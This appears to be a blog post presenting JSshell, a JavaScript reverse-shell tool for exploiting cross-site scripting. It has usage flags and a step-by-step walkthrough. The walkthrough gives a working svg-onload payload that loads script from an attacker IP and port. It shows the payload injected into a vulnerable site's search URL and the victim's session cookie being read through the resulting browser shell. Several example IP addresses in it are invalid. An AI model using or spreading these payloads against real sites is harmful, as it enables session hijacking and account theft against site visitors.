JSshell – A JavaScript Reverse Shell For Exploiting XSS Remotely Or Finding Blind XSS

JSshell is a JavaScript reverse shell. This using for exploit XSS remotely, help to find blind XSS.

This tool works for both Unix and Windows operating system and it can running with both Python 2 and Python 3. This is a big update of JShell – a tool to get a JavaScript shell with XSS by s0med3v. JSshell also doesn’t require Netcat (different from other javascript shells).

Usage

  • Generate JS reverse shell payload: -g
  • Set the local port number for listening and generating payload (By default, it will be set to 4848): -p
  • Set the local source address for generating payload (JSshell will detect your IP address by deault): -s
  • Set timeout for shell connection (if the user exit page, the shell will be pause, and if your set the timeout, after a while without response, the shell will automatically close): -w

Execute a command when got the shell: -c

Example usages:

js.py
js.py -g
js.py -p 1234
js.py -s 48.586.1.23 -g
js.py -c “alert(document.cookie)” -w 10

An example for running JSshell:

This is an example for step-by-step to exploit remote XSS using JSshell.

First we will generate a reverse JS shell payload and set the shell timeout is 20 seconds:

~# whoami
root
~# ls
README.md js.py
~# python3 js.py -g -w 20
Payload:<svg/onload=setInterval(function(){with(document)body.appendChild(createElement(“script”)).src=”//171.224.181.106:4848″},999)>

Listening on [any] 4848 for incoming JS shell …

Now paste this payload to the website (or URL) that vulnerable to XSS:

https://vulnwebs1te.com/b/search?q=<svg/onload=setInterval(function(){with(document)body.appendChild(createElement(“script”)).src=”//171.224.181.106:4848″},1248)>

Access the page and now we will see that we have got the reverse JS shell:

Payload:<svg/onload=setInterval(function(){with(document)body.appendChild(createElement(“script”)).src=”//171.224.181.106:4848″},999)>

Listening on [any] 4848 for incoming JS shell …
Got JS shell from [75.433.24.128] port 39154 to DESKTOP-1GSL2O2 4848
$ established
$ the
$ shell
$
$
$ help
JSshell using javascript code as shell commands. Also supports some commands:
help This help
exit, quit Exit the JS shell
$

Now let’s execute some commands:

$ var test = ‘hacked’
$ alert(hacked)
$

And the browser got an alert: hacked

$ prompt(document.cookie)
$

And the browser print the user cookies: JSESSION=3bda8…

$ exit
~# whoami
root
~# pwd
/home/shelld3v
~#

And we quited!

Credit

This created by shelld3v, hacking at HackOne and Bugcrowd with a secret account! This tool is inspired by JShell (s0med3v), using the BruteLogic payload. JSshell 2.0 will has some new features that include:

  • More payloads for <img>, <script>,….
  • Some shortcut commands: print the current session, domain, endpoint, …
  • Better GUI
R K

Recent Posts

Playwright-MCP : A Powerful Tool For Browser Automation

Playwright-MCP (Model Context Protocol) is a cutting-edge tool designed to bridge the gap between AI…

2 weeks ago

JBDev : A Tool For Jailbreak And TrollStore Development

JBDev is a specialized development tool designed to streamline the creation and debugging of jailbreak…

2 weeks ago

Kereva LLM Code Scanner : A Revolutionary Tool For Python Applications Using LLMs

The Kereva LLM Code Scanner is an innovative static analysis tool tailored for Python applications…

2 weeks ago

Nuclei-Templates-Labs : A Hands-On Security Testing Playground

Nuclei-Templates-Labs is a dynamic and comprehensive repository designed for security researchers, learners, and organizations to…

2 weeks ago

SSH-Stealer : The Stealthy Threat Of Advanced Credential Theft

SSH-Stealer and RunAs-Stealer are malicious tools designed to stealthily harvest SSH credentials, enabling attackers to…

2 weeks ago

ollvm-unflattener : A Tool For Reversing Control Flow Flattening In OLLVM

Control flow flattening is a common obfuscation technique used by OLLVM (Obfuscator-LLVM) to transform executable…

2 weeks ago